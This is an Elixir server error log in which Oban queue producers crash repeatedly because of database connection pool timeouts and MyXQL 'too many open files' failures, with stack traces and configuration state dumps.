    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:11:33.242112Z], limit: 50, uuid: "4ff5cdeb-bf71-4742-aa27-cb381909e8fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:33.242118Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257922>, refresh_timer: #Reference<0.2525715032.1121189889.110457>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:11:33.246096Z], limit: 20, uuid: "42fb19a6-b061-4b0d-bdcb-c85289b171bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:33.246102Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.257919>, refresh_timer: #Reference<0.2525715032.1121189889.110473>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:46.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:47.365000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:48.237000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:49.936000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:11:39.237268Z], limit: 10, uuid: "4b715dce-17e6-419c-8c00-54ffa0cc9c81", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:39.237274Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.258098>, refresh_timer: #Reference<0.2525715032.1068236804.258089>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:54.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:56.416000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:11:45.240820Z], limit: 50, uuid: "d48c6031-3f2b-4681-b8d2-f4b1dae0a526", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:45.240825Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110528>, refresh_timer: #Reference<0.2525715032.1121189889.110509>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:11:45.240678Z], limit: 5, uuid: "eda602c3-93b5-499a-ba01-370e148ebcdc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:45.240684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110526>, refresh_timer: #Reference<0.2525715032.1121189889.110503>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:11:45.246765Z], limit: 20, uuid: "d5671706-77de-4451-a32b-4b25c13513fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:45.246772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110556>, refresh_timer: #Reference<0.2525715032.1068236804.258307>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:11:45.240222Z], limit: 5, uuid: "b9be6767-4b3c-4a46-b8b6-871f94c94753", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:45.240230Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110527>, refresh_timer: #Reference<0.2525715032.1121189889.110495>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:11:45.244557Z], limit: 3, uuid: "2916f9f7-4503-481f-9f68-637b88199b4a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:11:45.244569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.110529>, refresh_timer: #Reference<0.2525715032.1077411843.240658>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:59.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:01.202000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:01.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:12:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
